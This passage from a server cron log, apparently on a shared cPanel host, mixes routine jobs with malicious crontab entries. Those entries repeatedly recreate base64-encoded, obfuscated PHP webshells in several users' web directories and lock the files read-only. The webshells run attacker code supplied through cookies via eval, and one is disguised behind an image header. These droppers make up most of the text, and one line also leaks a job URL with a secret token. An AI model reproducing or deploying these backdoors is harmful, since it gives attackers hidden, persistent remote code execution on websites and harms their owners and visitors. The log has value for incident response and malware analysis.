"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:42:01 medusa CROND[5242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:42:01 medusa CROND[5243]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:42:01 medusa CROND[5244]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:42:01 medusa CROND[5247]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:42:01 medusa CROND[5249]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:42:01 medusa CROND[5250]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:42:01 medusa CROND[5251]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:42:01 medusa CROND[5253]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:42:01 medusa CROND[5257]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:42:01 medusa CROND[5259]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:43:01 medusa CROND[29180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:43:01 medusa CROND[29192]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:43:01 medusa CROND[29193]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:43:01 medusa CROND[29194]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:43:01 medusa CROND[29195]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:43:01 medusa CROND[29197]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:43:01 medusa CROND[29198]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Apr 19 06:43:01 medusa CROND[29199]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 06:43:01 medusa CROND[29204]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:43:01 medusa CROND[29205]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:43:01 medusa CROND[29206]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:43:01 medusa CROND[29208]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Apr 19 06:43:01 medusa CROND[29214]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:43:01 medusa CROND[29215]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:44:01 medusa CROND[21063]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 06:44:01 medusa CROND[21064]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:44:01 medusa CROND[21065]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
